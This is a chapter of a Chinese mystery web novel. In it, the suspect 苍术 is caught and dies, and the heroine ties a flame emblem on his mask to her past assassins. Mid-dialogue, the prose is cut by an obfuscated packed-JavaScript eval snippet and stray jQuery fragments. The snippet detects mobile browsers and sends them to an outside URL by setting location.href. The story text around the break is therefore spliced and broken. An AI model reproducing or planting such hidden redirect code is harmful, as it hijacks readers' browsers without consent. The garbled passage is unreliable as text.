33. 焰火
作品:《折杨柳》 回去御史府,柳眉妩说了杨无咎遇匪的事,大伙儿七嘴八舌地讨论一通,依旧没有定论。东方凌云拨出小六小八追查流匪,其余人继续搜查苍术。
结果,流匪的事没有后续,苍术的事也没有后续,杨无咎的伤却日渐好了。只是他忙于生意,整日神龙见首不见尾,柳眉妩便常常往御史府跑。
七月十五这日,一大早,御史府外的路鼓被人敲得震天响,升了堂,竟是沈半夏。一段时日不见,她面容憔悴,身形消减,发量似乎也单薄了不少。
“沈小姐,今日击鼓报官,所为何事?”
沈半夏脸色惨白,身子止不住地颤,她嗫嚅半晌,一字一句地回:“二师兄来找我了,他想杀我!”
东方凌云惊讶道:“你见到苍术了?”
“没有。”沈半夏摇头,娓娓道来,“事情是这样的……上次堂审后,每隔几天,我就会在妆镜台前发现一绺头发。那头发被剪子齐齐铰断,我仔细检查过,就是我的头发。
“我问了所有轮班守夜的丫鬟,她们一口咬定没有人进出我的房间。只有物证,没有人证,我也只能纳闷。如果不是别人的恶作剧,难不成是我自己半夜起来铰了头发,又整整齐齐摆在妆镜台上,装神弄鬼吗?
“查来查去查不到,之后又消停了一阵子,无事发生,我也就没放在心上。本以为此事已经翻篇,没想到,今天早上,我在妆镜台前又发现了一封血信……肯定是二师兄!他知道我向你们供出了他,便怀恨在心,想杀我灭口!”
东方凌云展开信纸,不过半尺见方,无字无墨,只有一团凌乱血迹,却咸腥酸臭,着实令人不适。叫来十三检验,确定说是人血,几人又觉得一阵反胃。
十二拿了信纸,去街上的文房四宝铺子问。结果发现,那纸是蜀地最普通最常见的小灰纸,不知凡几,根本就不足为证。
这是威胁,也是恐吓,然而他们没有线索,不能将苍术立刻绳之以法。
沈半夏浑身发抖,呜呜咽咽道:“而且,我的贴身丫鬟尔香,今天一早突然不见了踪影。我哪里都找了,可哪里都找不到。肯定是二师兄!是二师兄报复我,于是掳走了尔香!那下一个,肯定就是我了!
“白大人,该说的不该说的,我都向你们说了。请你们一定一定要保护我的安全!一定一定要帮我找到尔香的尸体!”
东方凌云道:“这是自然,本官已有对策。沈小姐,你放心便是。”
然而,不怕一万,就怕万一。为安全起见,东方凌云当即让小六整理出一间客房,方便沈半夏暂住御史府。其余人则在阿大的带领下,在沈半夏的房前屋后部署,天网恢恢,只等苍术自投罗网。
只是,一天又一天过去了,苍术始终没有出现,他们却收到了意料之外的消息。
“娇娇儿,长安来信,姨父失踪的三卷手札,找到了。”东方凌云找到柳眉妩,神色凝重。
“在哪里?”
东方凌云不答反问:“娇娇儿,还记得姨父身上的那张棋谱吗?”
“自然记得。”柳眉妩点点头,顿了顿,又道,“不过我一直不明白,明明爹爹不怎么下围棋,为何会收一张围棋棋谱,还是用娘亲送的帕子仔细包着。”
“当时老二就觉得棋谱有问题,于是找我拿了去解谜,解了六个月,还真解出了一个地址。她又让小十和十一特地跑了一趟,竟真在那里找到了你说的三卷巡察手札,这才写信告知。”
柳眉妩听完,只觉得头皮发麻,气息上涌,浑身血液好似都沸腾了,急急问道:“二哥哥,在哪里!”
这一次,东方凌云没有故弄玄虚,也不再顾左右而言他,而是一字一句地向她说道。
“零陵郡,永明县。”
*
当天夜里,梳洗之后,柳眉妩和何清如同床夜话,商量归期。夜深人静,正是昏昏欲睡的时候,忽然听到小八一边敲门一边喊道:“大公主,四公主,苍术抓到了!”
两人连忙起来,穿好衣裳,原以为是去公堂听审,结果小八带着她们径直去了殓房,“苍术自投罗网,被我们抓住,自知走投无路,便服毒自尽了。”
说话的空当,三人行到殓房门口,其余人已早早到了。
这是柳眉妩第一次见到苍术,却总觉得似曾相识。可是分明,她和他从没见过才对。那日婚房,她躲在屏风后,因中了软筋迷魂散,意识恍惚,虽远远瞧见一个黑影,却不曾见过苍术的真面目。
那似曾相识的熟悉感从何而来?
柳眉妩百思不得其解。
她慢步走近,仔细打量着苍术,黑衣黑面,却不显单调,反而有几分精致的华贵。黑衣是玄丝软甲,藏了金,在摇曳的烛火中闪出五彩斑斓的色泽。黑面是玄铁锻制的纵目獠牙面具,眉心处一抹红,像一团灼灼燃烧的焰火。
柳眉妩一见到那团焰火,便皱起了眉。说不上来,但她就是本能觉得不舒服。
很不舒服。
沈半夏上前,取下他的玄铁面具,只看一眼,便扭过了头,神色戚戚然,笃定道:“是二师兄。”
众人长出一口气,不知是舒气,还是叹气,又或者兼而有之。
柳眉妩却忽然想到什么,使眼色让十三扒开苍术的软甲,眉头紧锁。
何清如问:“娇娇儿,怎么了?”
“很奇怪。”
“哪里奇怪?”
“苍术身上确实有伤,他肩上被踢伤,臂上被刺伤。踢伤我看不出端倪,但是,他臂上这处剑伤却很奇怪。”
柳眉妩指着他的伤口,又拿出十二的长剑比对,“那日,他是被十二刺伤。十二的剑身细长,伤口便应该深而窄才对,可你们看他的伤口,却是浅而宽。”
十二附和道:“不错,我有印象。当时八姐踢中他左肩,我便趁机刺在他左臂上,收剑的时候擦了不少血,想来伤口必定不浅。”
柳眉妩神色一顿,“等等,十二,你确定伤口是在左边吗?”
“我不确定,但确定是和八姐同边。”
十二看着小八,小八看着柳眉妩,笃定回道:“我确定。当时王不留行左手持刀,我踢中他左肩,本想去刀,结果他只是略一趔趄,又继续逼近。最后还是十二妹伤了他左臂,他自知不敌,这才跳窗逃走的。”
“可是,苍术的伤口分明是在右边……”柳眉妩喃喃说完,示意十三掰开苍术掌心,左手平滑,右手生茧,怎么看都不像是左撇子。
宝儿知她疑惑,转头问沈半夏道:“苍术是使左手刀还是右手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268988|182217||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刀?”
沈半夏道:“神剑山庄没有人使左手刀。”
柳眉妩听完,不禁怀疑起来:面前这人,真是那日大闹婚房的人吗?若是,为何伤口大不相同?可若不是,这人是苍术,那那人又是谁?
沈半夏继续说话,幽幽问道:“鬼见愁呢?”
“我们抓到苍术的时候,没看到鬼见愁。”阿大神色凝重,摇头回道。
又是这样,身无长物,孤身赴死,和五年前的白术一模一样。柳眉妩来回踱着步,这让她不得不怀疑,王不留行是否还有后手,又是否后继有人。
如果有……会是那人吗?
十三看出她的心事,当即就要出去,“我去找师父,让他来验尸。”
沈半夏却道:“夜半三更,就算真要验尸,也不急在一时。不管怎么说,我和二师兄同门一场,所有恩怨情仇,生不带来死不带去,我都不怪他了。如果可以的话,今夜就让我留在这里,为二师兄守灵吧。”
于情于理,东方凌云都不好拒绝,沉默半晌,留下小七和小九值守,便答应了沈半夏的请求。等众人各自回房歇息,已是三更漏尽。
睡下不到半个时辰,柳眉妩又被院里走水救火的声音吵醒,才知殓房无故失火,苍术和沈半夏都被烧成了灰。
她的眼前仿佛有什么一闪而过,她没抓住,困意来袭,很快又沉沉睡了过去。
恍惚间,她又回到了二月初十日,被死士追杀,被万箭穿心。死之前,她伏在林中,睁眼看天边残阳如血如火,像身下汩汩流出的血……
等等,那火呢?
分明,南山林中不曾起火,那她为何会看到火?
她在黑暗里睁开了眼,惊出了一身汗。
她忽然想起来了。
她全都想起来了。
那火,便是那群黑衣死士眉心处的焰火图腾,也是今日苍术面具上的焰火图腾,殷红如血,灼灼刺目,似成燎原之势。
——他们是一伙的!
可是现在,黑衣死士不知所踪,苍术也已服毒自尽,烧成了一捧灰,线索便又断了。柳眉妩闭上眼,翻了个身,在无边夜色里轻轻叹了口气。
恍惚间,有人走到她床前,叹息浅浅,像天明前燃尽的最后一滴蜡。她揉揉眼,坐起身,看到爹爹。白面无须,眉目和蔼,噙着笑,唤她“娇娇儿”。
柳眉妩大声叫着何清如,语气急促:“大姐姐!快醒醒!是爹爹!爹爹来了!”
可惜无声应答。
炉里的烟不理她,清冷的月不理她,院里的竹叶柳枝不理她,就连穿堂而过的婆娑凉风也不理她。
“娇娇儿,爹爹要走了。”爹爹还是笑,柳眉妩却毛骨悚然,只觉那笑实在瘆人。像石蜡,又像灰烬,没有一点生气。
她连连摇头,想伸手,手却有千斤重,根本举不起来,于是哭喊道:“不要走!爹爹不要走!”
爹爹却还是笑着走远了。
她的腿如灌铅水,动弹不得,只能眼睁睁看着爹爹渐行渐远,渐渐消失。像天上飘的云烟,风一吹,就散了,不知所踪。
远方传来歌谣,空灵不辨方位,又像是谁贴在耳边慢声吟唱。
“公无渡河,公竟渡河!渡河而死,当奈公何!”